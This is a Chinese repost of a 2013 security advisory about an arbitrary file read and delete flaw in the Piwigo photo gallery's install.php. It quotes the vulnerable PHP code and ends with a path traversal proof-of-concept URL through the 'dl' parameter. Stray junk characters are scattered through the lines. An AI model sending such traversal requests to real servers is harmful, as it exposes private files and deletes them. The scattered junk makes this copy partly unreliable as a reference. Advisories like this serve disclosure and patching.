Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

' }) _! a9 f. yPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
# Z5 \4 i/ K" a2 ]====================================================================
/install.php:
-------------
+ G% I0 b, _6 P) q6 f113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
# k' Y# _1 T7 G) T/ r6 a117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
& |- H: ?2 J5 L; R# j121:   echo file_get_contents($filename);
122:   unlink($filename);
# J2 w( \4 h/ }# t% m123:   exit();
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5 A9 \; O5 T! r) Y- a. F* S$ _====================================================================
6 g4 U6 M, _) I0 F4 j5 ]6 n
/ Z! K& ]) F  ?+ v( ~" L- u, ], iTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
9 W4 D) ?" C' o% P+ @) Z           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
! j& s$ z2 l) C" |6 e3 C                            @zeroscience
; @. |1 `) ]( x, G" [+ l
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
$ x1 r0 `" O( B. W6 r* T; }Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
0 z! Y, n& z* s/ `! W8 ?
9 h. n" j& V# t# G$ n& w15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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